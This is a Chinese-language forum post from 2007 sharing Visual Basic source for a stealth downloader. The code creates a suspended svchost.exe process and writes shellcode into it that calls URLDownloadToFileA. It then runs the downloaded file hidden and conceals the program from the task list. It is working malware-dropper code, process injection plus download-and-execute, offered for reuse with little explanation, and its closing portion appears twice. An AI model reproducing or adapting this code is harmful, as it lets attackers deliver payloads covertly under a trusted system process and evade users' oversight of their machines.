level 1
cnnewjohn
楼主
'注入成功后，将创建svchost.exe进程自动下载，就算关闭本程序，svchost也可以完成下载，下载后自动退出．有些朋友说这是没用的代码，不过在我的xp sp2 上测试是成功的Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Sub MoveMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long) Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Type STARTUPINFO cb As Long lpReserved As Long lpDesktop As Long lpTitle As Long dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadID As Long End Type Private Const CREATE_SUSPENDED = &H4 Private Function IEdown(url As String, file As String) As Boolean On Error Resume Next Dim dz As Long Dim res As Long Dim down As Variant Dim shellcode() As Byte Dim MyLoadLibraryAddr As Long Dim MyGetProcAddressAddr As Long Dim MyExitProcessAddr As Long Dim Start As STARTUPINFO Dim Proc As PROCESS_INFORMATION url = StrConv(Trim(url), vbFromUnicode) file = StrConv(Trim(file), vbFromUnicode) MyLoadLibraryAddr = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA") MyGetProcAddressAddr = GetProcAddress(GetModuleHandle("Kernel32"), "GetProcAddress") MyExitProcessAddr = GetProcAddress(GetModuleHandle("Kernel32"), "ExitProcess") down = Array(&HE8, &HC, &H0, &H0, &H0, &H77, &H1D, &H80, &H7C, &HA0, _ &HAD, &H80, &H7C, &HDA, &HCD, &H81, &H7C, &H5B, &H8B, &HF3, _ &H83, &HC6, &H36, &H56, &HFF, &H13, &H83, &HC6, &HB, &H56, _ &H50, &HFF, &H53, &H4, &H9, &HC0, &H74, &H11, &H33, &HC9, _ &H51, &H51, &H83, &HC6, &H13, &H56, &H83, &HC6, &H1A, &H56, _ &H51, &HFF, &HD0, &H8B, &HF0, &H56, &HFF, &H53, &H8, &H75, _ &H72, &H6C, &H6D, &H6F, &H6E, &H2E, &H64, &H6C, &H6C, &H0, _ &H55, &H52, &H4C, &H44, &H6F, &H77, &H6E, &H6C, &H6F, &H61, _ &H64, &H54, &H6F, &H46, &H69, &H6C, &H65, &H41, &H0) ReDim shellcode(UBound(down) + 225) For i = 0 To UBound(down) shellcode(i) = down(i) Next shellcode(48) = LenB(file) + 1 MoveMemory ByVal VarPtr(shellcode(5)), ByVal VarPtr(MyLoadLibraryAddr), 4 MoveMemory ByVal VarPtr(shellcode(9)), ByVal VarPtr(MyGetProcAddressAddr), 4 MoveMemory ByVal VarPtr(shellcode(13)), ByVal VarPtr(MyExitProcessAddr), 4 MoveMemory ByVal VarPtr(shellcode(i)), ByVal StrPtr(file), LenB(file) MoveMemory ByVal VarPtr(shellcode(i + LenB(file) + 1)), ByVal StrPtr(url), LenB(url) res = CreateProcess(GetSystemPath, vbNullString, 0, 0, False, CREATE_SUSPENDED, ByVal 0&, vbNullString, Start, Proc) If res = 0 Then IEdown = False Else WriteProcessMemory Proc.hProcess, GetOep, shellcode(0), UBound(shellcode()), 0& ResumeThread Proc.hThread IEdown = True End If End Function Private Function GetOep() As Long On Error Resume Next Dim dz As Long Dim oep As Long Dim newoep As Long Dim image As Long Dim newimage As Long Open GetSystemPath For Binary As
#1 Get #
1, 61, dz oep = dz + 41 image = dz + 53 Get
#1, oep, newoep Get #
1, image, newimage Close #1 GetOep = newoep + newimage End Function Sub Main() On Error Resume Next Dim url As String Dim file As String Dim fileA As String 'url = "##################################################################" url = "http://baidu.com" file = "c:\baidu.htm" fileA = file App.TaskVisible = False If App.PrevInstance Then End If IEdown(url, file) = True Then Do If Dir(fileA) <> "" Then Shell fileA, vbHide: End Loop End If End Sub Private Function GetSystemPath() As String On Error Resume Next GetSystemPath = "c:\windows\system32\svchost.exe"End Function
2007年11月19日 09点11分
1
#1 Get #
1, 61, dz oep = dz + 41 image = dz + 53 Get
#1, oep, newoep Get #
1, image, newimage Close #1 GetOep = newoep + newimage End Function Sub Main() On Error Resume Next Dim url As String Dim file As String Dim fileA As String 'url = "##################################################################" url = "http://baidu.com" file = "c:\baidu.htm" fileA = file App.TaskVisible = False If App.PrevInstance Then End If IEdown(url, file) = True Then Do If Dir(fileA) <> "" Then Shell fileA, vbHide: End Loop End If End Sub Private Function GetSystemPath() As String On Error Resume Next GetSystemPath = "c:\windows\system32\svchost.exe"End Function
